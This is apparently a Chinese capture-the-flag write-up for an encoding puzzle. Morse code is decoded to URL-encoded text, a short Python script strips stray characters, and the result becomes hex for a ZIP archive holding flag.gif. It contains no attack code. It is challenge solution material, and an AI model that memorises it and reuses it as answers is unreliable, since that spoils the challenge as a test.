-./.....-...-../......--.-.-/......--.--./.....-...-.-/......--.-.-/......--..../.....-...-.-/......--..-./.....-....-./......--.-../.....-...-.-/.....-...--./......---.../......--.---/......--.-.-/......--..--/.....-....--/.....-....-./.....-...--./.....-...-../......--...-/......--.--./.....-....--/......---.../......--..../.....-...-../.....-....-./......--.---/......---..-/.....-....--/......--.---/......--.-.-/......--..../......--.-../.....-....-./......--..../......--...-/......--..../......--..-./......--...-/.....-...--./......--..../......--..../......--...-/......--.-../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......---.../......--..../......--..../.....-.....-/.....-....--/......---..-/.....-....--/......--.---/......--.-.-/......--.-.-/......--..--/.....-...-.-/......--.-.-/.....-...-../......--..-./.....-....-./......--.-../......--..--/......---.../.....-...-../......---.../......--..../......--.-.-/......--..../......--..../......--..../......--..../......---..-/.....-...-.-/......--..../......--.--./......--..../......--..../......--..../......--..../......--..../......---.../......--..../......--..../......--..-./......--.-../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..-./......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--.--./......--.--./......--.--./.....-....--/......--.--./......--...-/......--.--./......--.---/......--..-./.....-...-.-/......--.--./......--.---/......--.--./......---..-/......--.--./......--.--./......--..../.....-.....-/......--..../......--..../......--..-./......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--...-/......--..../......--..../......--...-/......---.../......--..../......--..../......--.-../......--..../......--..--/......--.-../......--..--/.....-...-../......--..-./......--.---/.....-....--/.....-....--/.....-...-../.....-...-.-/.....-...-../......--.---/......--..../......--...-/......--..--/.....-...--./.....-.....-/......---..-/.....-...-.-/......--..-./.....-....--/......--.-.-/.....-...-../......--..../.....-...-../.....-...-.-/.....-...-../......--.---/......--..../......--...-/......--...-/......--..../......--.-.-/.....-....-./.....-...-.-/......--..-./.....-....--/......--.-.-/.....-...-../......--..../.....-...-../.....-...-.-/.....-...-../......--.---/......--..../......--...-/......--.-.-/......--..../......--.-../.....-....-./......--..../......--...-/......--..../......--..-./......--...-/.....-...--./......--..../......--..../......--...-/......--.-../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......---.../......--..../......--..../......--..-./.....-.....-/......---..-/.....-...-.-/......--.---/......--.-.-/......--.-.-/......--..--/.....-...-../......--.-.-/......--...-/.....-...-../.....-....-./.....-...-../.....-...-../......---..-/......---.../.....-...-.-/......--..../......--..--/......--..../......--..../......--..../......--..../......---.../......---..-/......--..../......--..--/......--..../......--..../......--..../......--..../......--..../......---.../......--..../......--..../......--..-./......--.-../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..-./......--..../......--..../......--..../......--..../......--..../......--..../......--..../.....-...--./.....-...-.-/......--..../......--.-.-/......--..../......--..../......--..../......--..../......--.--./......--.--./......--.--./.....-....--/......--.--./......--...-/......--.--./......--.---/......--..-./.....-...-.-/......--.--./.....-....-./......--.--./......--.---/......--.--./......--.-.-/......--..../.....-.....-/......--..../......--..../......--..-./......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--...-/......--..../......--..../......--...-/......---.../......--..../......--..../......--..-./.....-....--/.....-...--./......--..../......--..--/......--..-./.....-...-../......--..-./.....-....--/.....-...-../.....-...-../.....-...-.-/.....-...-../......--.---/......--..../......--...-/......--..../.....-...-../......--..../......--...-/......---.../......---.../.....-...-../......--.---/.....-....--/.....-...-../.....-...-../.....-...-.-/.....-...-../......--.---/......--..../......--...-/......--..../.....-.....-/.....-...-../.....-.....-/......---.../......--.---/.....-...-../......--.---/.....-....--/.....-...-../.....-...-../.....-...-.-/.....-...-../......--.---/......--..../......--...-/......--.-.-/......--..../......--.-../.....-....-./......--..../......--.-.-/......--..../......--.--./......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..-./......--..../......--..../......--..../......--..-./......--..../......--..../.....-....-./......--.-../......--..../......--..../......--..../......--..../......--..../......--..../.....-....-./......--..-./......--..../......---..-/......--..../......--..../......--..../......--..../......--..../......--..../......--..../......--..../..//

在线网站解密

摩斯电码转换_摩斯密码翻译器-在线工具

猜测是url编码,写脚本除掉u字符

f = open('b.txt','r')
f1 = open('c.txt','w+')
line = f.readline()
line = line.replace('u','')
print(line)
f1.write(line)
f.close()
f1.close()

得到

%35%30%34%42%30%33%30%34%31%34%30%30%30%30%30%30%30%38%30%30%41%43%39%43%37%35%35%33%45%35%44%32%42%34%33%38%44%38%30%35%30%30%30%30%39%45%30%36%30%30%30%30%30%38%30%30%30%30%30%30%36%36%36%43%36%31%36%37%32%45%36%37%36%39%36%36%34%44%35%33%37%31%35%30%44%37%37%35%31%32%35%44%42%44%43%36%31%33%42%43%42%39%33%41%33%33%34%45%36%44%43%30%38%34%34%42%39%34%32%46%38%41%45%33%39%36%39%39%41%36%44%35%37%31%41%33%38%31%41%33%37%39%45%36%31%37%35%32%30%34%32%45%41%44%34%35%36%30%30%32%34%45%31%34%30%46%45%38%45%38%35%42%41%39%32%31%32%38%37%38%38%44%32%35%30%42%32%34%36%38%31%37%45%38%34%37%31%34%32%46%38%35%31%33%33%33%43%44%30%38%34%44%44%38%35%33%42%33%46%42%34%45%38%32%43%38%32%39%38%38%38%32%30%39%32%36%31%34%36%32%38%39%37%42%46%43%45%36%46%45%42%39%46%44%45%46%43%44%43%45%45%43%44%42%37%44%45%46%45%44%42%43%42%30%42%39%33%33%39%45%37%45%43%35%38%31%32%35%37%30%30%37%46%45%35%37%30%38%34%30%30%30%30%43%32%30%30%30%30%41%31%36%38%30%38%35%36%30%31%31%35%38%30%43%39%36%38%30%41%35%36%30%30%33%44%38%30%38%33%36%38%31%43%44%36%30%30%42%44%38%30%41%30%45%38%30%38%33%45%30%31%30%33%38%30%43%38%45%38%30%41%33%36%30%30%30%30%43%38%32%32%31%33%30%30%43%34%36%43%30%32%38%42%38%30%30%32%45%38%32%34%42%45%30%33%32%42%38%30%32%41%45%30%45%43%45%30%36%34%35%35%30%30%32%36%35%35%30%30%31%35%35%46%34%37%30%32%33%30%32%32%31%33%30%38%32%30%43%46%36%44%30%30%32%42%34%31%30%32%44%34%32%38%42%44%31%31%32%42%34%31%34%36%44%34%30%31%42%44%31%32%36%42%34%31%39%36%44%34%31%35%42%44%31%30%31%37%34%31%30%31%44%34%32%38%37%44%31%31%31%37%34%31%34%30%44%41%30%34%31%33%34%38%34%38%36%44%31%30%38%31%41%34%35%31%37%44%30%34%35%37%34%30%39%35%44%34%36%35%37%44%30%35%35%35%34%34%30%34%35%35%34%34%32%36%35%35%34%34%31%35%35%46%32%39%43%38%44%30%34%34%34%43%30%30%34%33%32%42%38%31%36%35%39%34%30%31%36%39%32%34%35%36%34%33%31%35%39%34%32%39%36%39%32%30%44%36%34%32%33%44%39%34%34%33%36%39%33%32%44%36%34%32%42%33%39%34%30%30%45%39%32%34%33%45%34%33%30%33%39%34%32%38%45%39%32%30%31%33%32%34%38%38%36%43%38%33%30%31%39%32%31%41%33%45%34%30%32%42%39%34%38%32%45%39%31%43%42%45%34%30%41%42%39%34%41%30%41%41%34%34%38%34%41%41%34%34%43%32%41%41%34%43%41%31%45%43%35%39%31%38%31%31%38%39%38%34%31%30%36%31%35%36%31%30%42%44%38%34%32%42%36%38%38%32%44%36%36%34%42%44%38%35%32%42%36%38%31%36%44%36%34%39%42%44%38%36%36%42%36%38%35%36%44%36%35%30%37%44%38%34%31%37%36%38%38%31%44%36%36%34%37%44%38%35%31%33%36%43%30%30%36%44%39%31%30%31%42%36%36%32%33%36%43%39%34%35%44%36%30%31%37%44%39%32%35%37%36%39%39%35%44%36%31%35%37%35%39%38%31%31%35%35%39%38%39%39%35%35%39%38%35%35%35%43%35%36%33%33%36%30%41%39%30%30%30%30%42%43%38%41%30%31%39%36%32%38%31%35%38%32%38%31%36%38%39%43%35%36%32%38%39%35%38%32%41%33%36%38%38%38%44%36%32%39%33%44%38%32%43%42%36%38%38%41%44%45%32%38%30%33%38%32%38%30%45%38%39%43%33%45%32%38%38%33%38%32%41%30%36%43%34%41%30%31%38%31%32%43%33%36%32%34%34%38%43%38%41%30%42%45%32%41%32%42%38%32%34%32%45%38%42%32%42%45%32%41%41%32%38%38%38%41%32%32%38%38%39%42%32%41%38%38%38%41%41%32%37%30%38%38%30%31%45%34%39%38%30%33%44%43%44%43%31%32%38%35%38%41%30%31%36%41%41%34%35%36%41%42%31%35%41%41%32%39%36%41%41%30%44%36%41%41%33%44%41%41%34%33%36%41%42%32%44%36%41%41%42%33%41%41%30%30%45%41%41%34%33%45%41%42%30%33%41%41%32%38%45%41%41%30%31%33%35%41%38%38%36%44%34%42%30%31%41%35%31%41%33%45%41%38%32%42%41%41%38%32%45%41%39%43%42%45%41%38%41%42%41%31%45%33%32%35%35%38%46%44%42%41%41%39%45%42%42%33%44%46%38%46%46%36%41%46%43%44%44%30%37%38%36%30%30%44%43%38%33%36%30%30%46%46%30%46%43%30%34%30%43%35%37%42%38%33%33%30%34%30%45%35%34%39%36%39%45%37%38%36%42%44%38%43%33%34%31%43%31%44%39%38%42%35%45%41%39%44%44%46%30%44%30%46%38%33%39%39%42%46%46%42%32%42%35%33%34%33%34%44%37%32%42%37%30%37%31%46%33%43%34%44%46%30%34%44%34%42%45%45%35%46%37%37%43%43%36%45%36%38%39%44%33%30%32%35%45%43%38%31%42%33%35%37%46%46%35%39%32%42%42%37%46%46%36%39%46%42%46%36%44%36%41%36%43%46%44%33%33%33%35%45%46%35%31%43%33%44%46%41%36%32%36%45%46%32%41%45%45%33%43%34%46%36%37%30%41%43%37%33%45%45%39%46%44%36%35%44%38%43%38%46%32%37%33%32%35%41%31%41%39%44%45%44%31%45%31%41%33%45%32%34%46%36%44%39%39%35%37%31%32%42%33%37%43%46%34%46%42%45%36%45%42%42%32%38%35%45%35%30%39%39%37%33%36%42%39%41%46%42%41%33%39%42%33%36%42%44%33%35%43%41%46%42%34%38%41%39%37%37%36%35%30%41%43%43%46%34%30%37%38%37%35%44%37%41%32%45%41%45%34%44%30%39%46%32%34%43%31%30%45%38%45%33%43%31%43%42%36%33%32%41%36%43%41%41%43%30%39%38%39%44%45%39%44%35%35%33%33%42%34%42%42%32%31%33%32%45%34%43%41%46%31%34%39%42%46%38%38%46%43%34%33%34%35%46%35%34%37%44%31%41%35%46%31%44%37%46%44%44%33%37%32%46%42%39%32%44%42%38%45%41%43%42%45%31%32%37%33%32%43%46%42%34%45%35%43%46%42%32%37%39%42%46%46%39%35%31%35%31%43%37%43%45%31%46%42%35%37%46%37%34%43%30%38%32%42%45%39%39%36%31%46%30%45%42%43%35%36%46%37%34%45%45%38%44%45%42%43%43%43%41%37%35%32%41%46%39%45%32%39%46%38%41%43%43%35%41%37%45%42%34%32%37%35%37%37%44%33%46%31%46%31%43%37%42%33%37%45%33%35%46%41%41%39%42%38%46%46%45%43%35%39%31%30%31%38%33%32%39%30%39%31%44%36%37%41%37%41%35%46%45%46%39%34%43%41%43%45%37%42%38%37%37%45%41%38%41%42%44%46%39%33%33%43%33%39%41%46%33%38%33%33%45%35%42%42%36%44%38%46%35%46%35%37%39%46%35%46%31%37%31%45%42%44%35%38%37%35%45%39%43%34%39%42%37%44%34%39%33%42%41%36%41%37%44%45%42%43%33%35%45%46%39%44%39%32%32%39%43%46%44%45%45%46%45%44%44%41%37%46%33%44%33%36%37%46%43%31%39%42%42%41%46%34%38%32%46%41%39%36%39%37%36%34%44%45%44%43%31%30%44%37%42%43%45%45%38%31%46%42%46%33%38%41%33%33%35%41%42%44%35%45%36%45%34%39%44%46%37%31%46%37%44%30%39%38%39%34%38%31%41%35%41%37%43%36%33%41%42%46%36%43%42%44%33%45%36%45%46%31%39%38%42%39%44%46%39%36%42%43%46%42%37%44%37%43%35%43%45%43%43%36%34%37%46%41%41%41%32%45%36%37%37%38%32%44%45%43%46%46%44%33%38%41%31%31%41%42%32%46%33%43%42%36%36%31%35%38%44%39%42%42%46%45%31%39%35%33%32%37%37%34%46%38%36%46%46%41%37%31%34%33%34%31%35%42%44%45%46%44%45%38%38%32%37%31%46%39%35%33%37%41%43%41%35%37%33%41%36%33%35%42%38%37%46%46%32%45%36%31%43%44%39%35%32%37%35%37%41%45%30%46%33%43%37%36%43%31%36%46%34%42%44%38%43%43%33%31%36%44%32%39%44%33%43%32%34%46%42%37%32%36%32%44%41%31%37%35%35%37%46%33%36%37%46%37%34%34%38%43%44%41%46%45%37%43%34%42%45%34%38%41%42%35%32%46%46%34%30%43%35%46%31%31%33%31%33%37%41%44%46%33%42%31%46%35%36%44%38%46%31%34%45%43%35%41%31%46%46%31%46%42%34%44%31%33%38%41%31%37%32%34%44%30%45%33%33%39%46%33%30%42%33%42%44%41%30%42%41%37%45%46%39%38%35%34%39%36%31%44%46%41%44%33%31%38%34%41%31%44%39%42%42%37%41%37%42%44%32%34%43%41%45%37%37%34%35%31%45%39%42%39%42%41%43%36%41%38%32%44%34%31%30%42%31%42%36%33%46%45%45%45%44%44%42%44%41%39%42%34%37%38%46%41%39%43%32%33%46%45%36%35%44%42%34%36%38%36%37%35%36%34%45%37%30%45%45%44%37%46%36%44%45%37%31%46%36%37%36%45%42%46%42%36%37%42%44%43%33%32%33%33%42%31%45%30%46%35%36%33%45%39%34%31%32%35%45%39%33%37%44%34%44%44%35%35%39%36%37%34%42%32%42%30%33%44%45%37%43%33%46%33%38%35%46%31%37%42%42%33%43%44%44%33%41%35%39%35%31%42%44%46%41%45%33%37%35%42%42%46%45%43%42%42%44%31%36%36%38%45%34%46%41%42%30%46%32%43%32%42%36%45%30%39%38%42%43%42%46%30%39%39%31%33%31%35%37%30%46%30%43%38%45%32%39%43%46%32%38%46%33%32%36%32%37%32%38%32%34%41%45%42%46%43%38%41%36%45%35%34%37%45%46%45%34%31%43%44%43%45%43%33%31%37%43%46%43%34%31%42%46%33%38%35%46%46%41%41%37%44%30%37%36%37%43%34%46%43%36%43%38%45%39%43%34%46%33%32%35%36%35%35%36%33%36%42%43%45%42%45%38%41%37%33%34%31%46%33%38%33%37%38%46%39%38%44%39%46%33%42%42%37%39%45%31%38%31%41%42%43%42%46%45%34%39%36%44%46%42%32%45%45%41%43%45%46%39%41%39%36%30%36%31%45%42%41%44%43%45%44%39%44%37%38%33%34%36%39%46%41%41%37%32%39%42%35%30%44%31%31%42%33%42%36%46%46%42%33%37%39%36%33%35%31%38%37%33%33%33%41%33%30%33%43%36%35%46%37%42%44%45%45%44%43%45%30%35%33%42%42%36%41%37%32%33%46%33%45%37%41%37%34%44%39%46%32%41%39%34%35%30%46%39%45%36%44%34%41%46%38%32%32%46%30%45%30%31%42%38%39%32%37%45%46%30%46%46%33%45%45%44%39%36%39%38%44%36%38%39%45%42%43%42%31%41%33%41%39%37%39%44%35%35%37%34%33%36%32%42%44%32%41%31%42%46%41%31%33%41%32%32%41%36%35%45%32%36%46%35%46%30%46%46%39%37%41%36%42%43%42%41%43%33%35%37%32%32%44%41%46%30%32%43%46%43%43%32%45%34%41%45%46%32%44%37%44%32%32%42%36%32%42%46%35%31%33%33%42%33%46%45%41%37%36%43%33%43%44%30%38%34%45%44%44%33%46%36%39%46%42%41%35%36%39%46%46%41%45%39%45%44%42%39%38%35%34%45%43%39%42%33%39%46%39%43%37%39%33%31%46%44%37%35%46%38%42%36%46%45%45%43%43%34%41%34%43%35%39%46%46%35%43%38%30%45%46%33%46%45%41%35%37%38%34%36%36%46%45%33%35%41%30%39%36%35%45%36%43%42%38%46%33%43%44%44%42%45%33%42%41%30%45%37%43%44%35%45%37%37%42%45%46%46%36%38%31%32%35%42%37%44%45%45%38%33%45%42%42%45%45%44%39%42%43%46%45%45%32%38%37%30%33%41%33%46%42%42%46%38%44%37%42%44%34%37%37%35%39%37%42%43%36%38%38%38%31%41%42%39%37%33%46%44%30%43%34%42%35%32%44%37%35%37%45%31%35%38%37%37%37%41%46%37%39%46%31%43%33%31%39%32%44%43%39%38%46%35%45%35%43%42%42%45%38%41%31%43%38%39%39%30%37%46%37%41%45%39%41%46%35%44%39%31%33%39%37%43%33%35%46%36%41%35%39%46%37%34%44%36%32%45%44%43%32%38%43%43%41%39%37%46%33%35%42%30%45%33%37%43%37%46%42%39%43%45%44%42%44%35%35%46%36%45%30%33%33%32%33%31%42%30%42%37%41%38%46%37%44%44%41%35%34%38%35%30%33%33%35%35%37%32%36%39%43%39%44%37%32%42%42%41%37%33%32%32%45%32%34%46%44%44%43%45%37%35%36%45%35%41%32%45%37%36%30%44%36%37%46%30%31%35%30%34%42%30%33%30%34%31%34%30%30%30%30%30%30%30%38%30%30%32%41%39%45%37%35%35%33%44%35%31%44%42%44%44%39%38%45%30%33%30%30%30%30%38%39%30%33%30%30%30%30%30%38%30%30%30%30%30%30%36%36%36%43%36%31%36%37%32%45%36%42%36%37%36%35%30%31%38%39%30%33%37%36%46%43%39%41%30%31%33%31%30%37%37%37%41%35%33%32%44%42%41%30%33%46%33%36%39%36%37%32%43%46%34%34%43%35%37%41%30%31%37%38%43%39%45%35%34%43%33%38%38%42%32%39%30%38%30%42%35%42%38%37%37%39%44%32%41%45%31%37%32%44%31%38%34%39%38%35%39%45%33%33%31%30%43%42%44%37%30%30%35%33%45%39%41%41%31%36%42%46%31%34%39%37%34%41%39%43%31%43%44%44%31%33%44%39%31%43%41%31%43%43%41%34%46%37%38%43%33%43%43%43%45%34%45%43%39%42%43%42%30%43%44%33%31%42%37%44%31%31%35%46%30%37%35%46%37%32%30%38%35%31%32%32%34%34%43%34%33%39%44%39%31%46%42%30%38%30%31%39%31%39%39%41%39%34%42%33%39%42%32%39%41%39%37%36%39%36%41%31%36%41%38%37%41%43%31%43%46%36%45%35%36%31%35%42%41%34%31%33%36%32%32%44%45%37%31%31%39%45%35%45%32%30%41%46%36%41%38%32%34%46%31%43%38%42%30%43%37%38%31%39%33%38%46%43%32%38%44%44%33%33%39%30%41%43%34%38%33%31%43%38%45%37%41%32%38%42%46%38%33%46%30%32%41%44%36%46%45%44%39%36%35%38%38%37%43%34%36%31%32%32%30%30%37%39%44%35%38%43%37%44%44%42%32%34%32%34%33%37%33%42%34%39%35%44%43%32%34%45%46%30%46%32%45%30%42%34%34%35%39%33%43%34%43%35%37%33%37%36%35%34%30%42%36%37%39%41%38%42%46%42%34%30%39%34%35%34%33%31%31%34%46%43%45%34%38%37%45%37%30%32%35%31%35%32%33%31%33%30%34%34%39%39%35%42%34%31%35%44%42%36%42%32%31%41%38%33%31%43%39%42%41%38%38%36%45%31%43%33%30%46%46%45%31%39%38%45%44%37%45%35%41%43%39%37%43%41%45%41%30%30%41%34%31%41%44%39%43%44%42%39%42%38%44%42%43%44%39%31%37%38%33%32%39%39%44%37%45%37%34%42%44%33%41%34%39%36%33%37%32%38%45%45%31%42%39%34%45%30%45%34%34%38%38%38%38%36%37%33%36%36%37%42%36%43%35%32%39%45%34%37%43%38%41%42%33%30%39%33%41%30%46%44%38%35%38%41%41%43%46%41%30%43%39%32%37%31%39%42%39%46%37%41%33%39%35%39%34%38%44%39%41%43%36%31%37%39%32%37%39%34%37%34%33%45%44%32%46%32%30%36%39%43%43%46%43%41%38%34%37%36%39%32%44%39%32%36%32%44%44%43%30%46%36%31%31%30%31%46%39%30%30%30%45%31%45%36%37%41%34%43%44%35%31%43%35%30%45%34%44%43%38%46%33%37%41%35%44%45%42%39%31%31%32%32%36%42%46%38%32%32%42%46%31%38%38%35%45%45%44%37%37%38%32%45%30%35%32%33%41%41%39%46%37%32%46%33%30%35%42%32%37%44%37%44%39%30%30%36%43%44%43%45%46%42%39%44%41%37%38%44%38%46%42%46%39%37%46%37%39%34%35%31%44%45%36%42%34%44%45%37%38%46%37%45%38%45%43%32%34%31%44%30%41%35%38%44%45%44%31%42%38%36%34%33%41%39%30%45%31%46%39%32%36%32%45%42%44%38%31%34%39%35%42%44%35%36%31%35%38%32%39%41%36%37%33%41%46%36%30%32%45%35%42%38%32%36%37%46%33%38%35%30%46%33%37%45%38%33%30%42%37%45%36%41%42%42%32%38%46%36%42%45%31%44%39%45%41%39%34%35%41%35%35%38%46%31%38%46%36%39%31%33%33%43%43%42%33%31%46%46%42%33%43%41%31%44%44%36%33%38%38%34%43%30%46%39%42%33%35%42%45%36%38%34%46%37%44%42%35%31%30%39%35%31%30%46%39%41%41%38%35%44%45%36%33%46%35%36%38%30%33%41%46%43%35%34%43%43%34%46%46%33%32%34%32%32%37%41%43%41%33%41%33%31%38%30%32%35%41%37%33%34%44%42%36%34%41%32%42%43%44%31%44%44%43%37%39%30%32%33%38%31%38%30%39%34%32%32%45%33%43%45%32%31%42%44%43%41%38%30%46%36%39%35%36%39%43%35%35%34%41%46%30%39%34%32%45%41%44%45%30%44%35%36%32%43%41%41%44%33%39%43%32%36%38%33%37%36%32%42%43%30%41%42%45%38%37%31%33%30%31%34%44%36%34%38%44%38%43%45%31%43%35%31%36%31%41%31%41%30%44%34%32%34%37%38%41%34%31%35%38%46%36%44%42%41%31%32%43%41%33%32%35%46%32%32%30%42%37%34%46%45%43%31%36%44%44%30%46%33%31%44%45%33%38%37%37%42%46%30%42%41%37%36%38%32%37%38%36%44%43%33%46%33%37%37%32%41%35%35%41%44%45%44%41%41%43%37%42%33%32%32%37%33%33%42%38%37%30%42%45%42%33%44%43%44%43%30%37%36%45%37%46%39%32%31%30%43%44%31%32%45%45%39%37%36%30%30%30%36%38%35%36%34%37%30%41%37%31%33%37%31%33%39%36%43%45%37%36%41%42%41%44%45%39%30%36%35%35%31%33%30%46%34%43%31%39%42%37%37%36%45%41%35%44%45%35%46%31%43%36%38%37%46%37%39%36%46%32%32%39%42%34%33%31%42%36%41%44%38%45%46%37%45%32%31%31%44%31%32%45%34%43%39%32%30%35%32%41%32%41%38%38%39%41%37%38%32%36%38%35%32%42%46%31%31%32%37%31%33%36%39%43%41%42%42%38%37%32%44%35%41%45%39%46%33%31%34%38%35%39%37%44%38%45%32%39%43%33%45%32%45%32%33%44%43%46%30%41%32%38%33%42%32%46%45%32%44%31%34%33%30%46%34%43%32%46%44%36%35%33%30%44%44%42%35%31%37%30%34%38%35%33%43%37%38%36%41%44%45%32%37%31%30%41%36%41%33%37%41%39%46%30%46%31%35%44%32%35%44%46%31%43%30%30%42%39%43%36%37%43%41%44%32%43%42%35%30%43%31%37%45%34%37%37%41%30%42%36%46%34%34%42%32%37%38%37%37%39%33%37%31%43%38%42%41%38%38%45%46%46%30%44%39%41%36%36%37%38%37%44%44%38%33%38%39%33%32%45%34%31%41%39%46%35%45%41%36%42%32%34%32%34%33%31%34%37%45%37%42%31%46%35%31%35%36%35%43%33%44%43%46%38%43%41%44%44%34%38%44%37%39%37%39%33%39%46%39%43%32%41%39%30%42%32%42%34%45%42%32%45%39%39%39%35%35%42%42%46%33%44%36%32%31%37%44%43%31%35%36%34%32%36%41%42%42%39%37%30%34%41%42%42%30%33%39%44%44%43%36%39%30%37%39%36%35%36%32%37%45%44%37%36%33%43%31%35%45%39%39%36%42%42%44%33%31%44%34%32%42%39%41%42%42%41%38%46%38%39%35%36%33%31%41%46%33%41%43%38%36%43%34%37%36%31%39%31%42%41%46%32%44%37%31%41%41%31%32%43%36%33%35%42%44%44%46%44%46%32%32%41%45%43%45%31%33%45%37%37%35%38%36%35%33%32%33%36%36%42%33%37%44%31%44%32%35%32%31%38%35%33%45%43%34%41%41%33%45%43%44%33%38%43%31%30%33%34%30%38%41%46%34%41%39%45%36%30%33%38%35%46%42%38%38%37%32%44%36%43%37%36%38%37%36%42%36%30%38%30%44%43%44%30%34%30%45%31%42%35%44%33%44%30%41%45%33%37%42%44%35%42%46%41%38%34%33%34%42%32%44%34%38%35%45%37%31%34%42%32%39%36%33%37%42%42%43%43%34%31%33%42%41%42%30%36%35%36%37%46%45%37%44%43%42%41%33%46%46%43%41%42%35%46%37%46%30%33%32%45%31%45%30%41%42%42%32%42%45%39%41%35%31%31%36%45%41%42%42%37%32%42%44%35%36%45%35%30%45%32%42%34%45%46%38%37%35%33%43%42%46%44%31%36%43%38%30%44%42%37%39%43%37%35%30%34%42%30%31%30%32%31%46%30%30%31%34%30%30%30%30%30%30%30%38%30%30%41%43%39%43%37%35%35%33%45%35%44%32%42%34%33%38%44%38%30%35%30%30%30%30%39%45%30%36%30%30%30%30%30%38%30%30%32%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%36%36%43%36%31%36%37%32%45%36%37%36%39%36%36%30%41%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%31%38%30%30%34%30%33%34%33%44%32%37%43%43%44%45%44%37%30%31%33%46%41%39%45%32%43%35%44%30%44%45%44%37%30%31%31%30%35%42%45%32%43%35%44%30%44%45%44%37%30%31%35%30%34%42%30%31%30%32%31%46%30%30%31%34%30%30%30%30%30%30%30%38%30%30%32%41%39%45%37%35%35%33%44%35%31%44%42%44%44%39%38%45%30%33%30%30%30%30%38%39%30%33%30%30%30%30%30%38%30%30%32%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%46%45%30%35%30%30%30%30%36%36%36%43%36%31%36%37%32%45%36%42%36%37%36%35%30%41%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%31%38%30%30%32%43%46%30%33%32%44%32%43%44%44%45%44%37%30%31%30%44%30%31%38%38%44%37%43%44%44%45%44%37%30%31%30%41%44%41%38%37%44%37%43%44%44%45%44%37%30%31%35%30%34%42%30%35%30%36%30%30%30%30%30%30%30%30%30%32%30%30%30%32%30%30%42%34%30%30%30%30%30%30%42%32%30%39%30%30%30%30%30%30%30%30I

用在线网站解码

https://gchq.github.io/CyberChef/

得到

504B0304140000000800AC9C7553E5D2B438D80500009E06000008000000666C61672E6769664D537150D775125DBDC613BCB93A334E6DC0844B942F8AE39699A6D571A381A379E61752042EAD4560024E140FE8E85BA92128788D250B246817E847142F851333CD084DD853B3FB4E82C829888209261462897BFCE6FEB9FDEFCDCEECDB7DEFEDBCB0B9339E7EC581257007FE570840000C20000A1680856011580C9680A56003D8083681CD600BD80A0E8083E010380C8E80A360000C8221300C46C028B8002E824BE032B802AE0ECE0645500265500155F47023022130820CF6D002B4102D428BD112B4146D401BD126B4196D415BD10174101D4287D11174140DA041348486D1081A4517D04574095D4657D055544045544265544155F29C8D0444C00432B81659401692456431594296920D6423D94436932D642B39400E9243E43039428E9201324886C8301921A3E402B9482E91CBE40AB94A0AA4484AA44C2AA4CA1EC591811898410615610BD842B6882D664BD852B6816D649BD866B6856D6507D84176881D6647D85136C006D9101B66236C945D6017D92576995D6157598115598995598555C563360A90000BC8A019628158281689C56289582A36888D6293D82CB688ADE28038280E89C3E288382A06C4A01812C362448C8A0BE2A2B8242E8B2BE2AA2888A22889B2A888AA2708801E49803DCDC12858A016AA456AB15AA296AA0D6AA3DAA436AB2D6AAB3AA00EAA43EAB03AA28EAA0135A886D4B01A51A3EA82BAA82EA9CBEA8ABA1E32558FDBAA9EBB3DF8FF6AFCDD078600DC83600FF0FC040C57B833040E54969E786BD8C341C1D98B5EA9DDF0D0F8399BFFB2B53434D72B7071F3C4DF04D4BEE5F77CC6E689D3025EC81B357FF592BB7FF69FBF6D6A6CFD3335EF51C3DFA626EF2AEE3C4F670AC73EE9FD65D8C8F27325A1A9DED1E1A3E24F6D995712B37CF4FBE6EBB285E5099736B9AFBA39B36BD35CAFB48A977650ACCF407875D7A2EAE4D09F24C10E8E3C1CB632A6CAAC0989DE9D5533B4BB2132E4CAF149BF88FC4345F547D1A5F1D7FDD372FB92DB8EACBE12732CFB4E5CFB279BFF95151C7CE1FB57F74C082BE9961F0EBC56F74EE8DEBCCCA752AF9E29F8ACC5A7EB427577D3F1F1C7B37E35FAA9B8FFEC591018329091D67A7A5FEF94CACE7B877EA8ABDF933C39AF3833E5BB6D8F5F579F5F171EBD5875E9C49B7D493BA6A7DEBC35EF9D9229CFDEEFEDDA7F3D367FC19BBAF482FA969764DEDC10D7BCEE81FBF38A335ABD5E6E49DF71F7D0989481A5A7C63ABF6CBD3E6EF198B9DF96BCFB7D7C5CECC647FAAA2E67782DECFFD38A11AB2F3CB66158D9BBFE19532774F86FFA7143415BDEFDE88271F9537ACA573A635B87FF2E61CD952757AE0F3C76C16F4BD8CC316D29D3C24FB7262DA17557F367F7448CDAFE7C4BE48AB52FF40C5F113137ADF3B1F56D8F14EC5A1FF1FB4D138A1724D0E339F30B3BDA0BA7EF9854961DFAD3184A1D9BB7A7BD24CAE77451E9B9BAC6A82D410B1B63FEEEDDBDA9B478FA9C23FE65DB46867564E70EED7F6DE71F676EBFB67BDC3233B1E0F563E94125E937D4DD559674B2B03DE7C3F385F17BB3CDD3A5951BDFAE375BBFECBBD1668E4FAB0F2C2B6E098BCBF099131570F0C8E29CF28F326272824AEBFC8A6E547EFE41CDCEC317CFC41BF385FFAA7D0767C4FC6C8E9C4F325655636BCEBE8A7341F38378F98D9F3BB79E181ABCBFE496DFB2EEACEF9A96061EBADCED9D783469FAA729B50D11B3B6FFB379635187333A303C65F7BDEEDCE053BB6A723F3E7A74D9F2A9450F9E6D4AF822F0E01B8927EF0FF3EED9698D689EBCB1A3A979D5574362BD2A1BFA13A22A65E26F5F0FF97A6BCBAC35722DAF02CFCC2E4AEF2D7D22B62BF5133B3FEA76C3CD084EDD3F69FBA569FFAE9EDB9854EC9B39F9C7931FD75F8B6FEECC4A4C59FF5C80EF3FEA578466FE35A0965E6CB8F3CDDBE3BA0E7CD5E77BEFF68125B7DEE83EBBEED9BCFEE28703A3FBBF8D7BD477597BC68881AB973FD0C